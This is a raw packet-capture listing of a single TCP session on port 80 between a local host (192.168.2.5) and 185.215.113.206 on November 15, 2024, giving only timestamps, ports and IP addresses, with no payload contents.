Nov 15, 2024 16:16:09.972917080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.972934961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.972946882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.972956896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.972981930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.972996950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.973016977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.973027945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.973051071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.973062038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.973086119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.973095894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.973117113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.973134995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.973151922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.973165035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.973186970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:09.973198891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:09.973237038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.008871078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.008919954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.008987904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009026051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009061098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009064913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009103060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009124041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009123087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009170055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009176970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009213924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009224892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009263039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009268045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009305000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009320974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009341955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009352922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009378910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009394884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009411097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009426117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009445906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009462118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009491920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009499073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009593964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009612083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009633064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009645939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009680986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009696960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009718895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009732962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009751081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009762049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009787083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009802103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009824038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009829998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009860039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009871960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009895086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009902954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009932041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009944916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.009969950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.009977102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010001898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010019064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010037899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010047913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010073900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010086060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010108948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010124922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010145903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010150909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010180950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010195017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010217905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010224104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010253906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010268927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010289907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010296106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010329008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010339022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010366917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010373116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010402918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010415077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010440111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010447025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010476112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010483980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010513067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010520935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010549068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010556936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010585070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010596991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010620117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010634899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010656118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010662079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010691881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010706902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010726929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010744095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010762930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010772943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010801077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010812044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010838032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010848045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010875940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010885954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010915041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.010926962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.010960102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.082344055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.082412004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.082441092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.082480907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.082490921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.082520008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.082524061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.082562923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.082576036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.082628012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.082632065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.082679033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.082684040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.082727909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.082734108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.082782030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.082787037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.082823038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.082838058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.082866907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.082873106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.082921028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.082926035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.082976103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.082978010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083014011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083030939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083055973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083065033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083101988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083117962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083133936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083147049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083173037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083177090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083208084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083225012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083245993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083247900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083302021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083319902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083348989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083376884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083410978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083431005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083451986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083467007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083517075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083519936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083555937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083570957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083599091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083607912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083642006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083661079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083683014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083692074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083729029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083743095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083761930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083790064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083796978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083798885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083847046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083851099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083900928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083905935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083950043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083952904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.083969116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083992004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.083995104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084008932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084017992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084028006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084036112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084050894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084064007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084074020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084074974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084089041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084095001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084100008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084109068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084110975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084120989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084125042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084136963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084141016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084147930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084160089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084162951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084188938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084188938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084202051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084213018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084213972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084224939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084235907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084238052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084249973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084260941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084261894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084275961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084280014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084292889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084300995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084305048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084325075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084327936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084336042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084336996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084351063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084361076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084362984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084371090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084376097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084383965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084394932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084395885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084405899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084418058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084420919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084428072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084439039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084443092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084450960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084461927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084461927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084475994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084477901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084491014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084501028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084501982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084515095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084520102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084522009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084526062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084532022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084541082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084546089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084553003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084563971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084568024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084574938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084587097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084590912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084599972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084608078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084611893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084623098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084630013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084631920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084645033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084655046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084656954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084664106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084666967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084678888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084690094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084692001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084702969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084716082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084722042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084729910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084750891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084796906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084814072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084825039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084835052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084842920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084846973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.084867001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.084887028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.085834980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.085848093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.085858107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.085886955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.085897923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.085910082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.085910082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.085937023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.085948944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.086122036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.086132050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.086141109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.086169004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.086191893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.086288929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.086298943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.086309910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.086325884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.086333990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.086337090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.086357117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.086379051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.086612940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.086662054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.086703062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.086713076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.086721897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.086733103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.086744070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.086751938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.086765051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.086791039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087090015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087106943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087116957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087126017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087142944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087146044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087157011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087160110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087168932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:10.087181091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087201118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087209940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:10.087240934 CET	80	49704	185.215.113.206	192.168.2.5
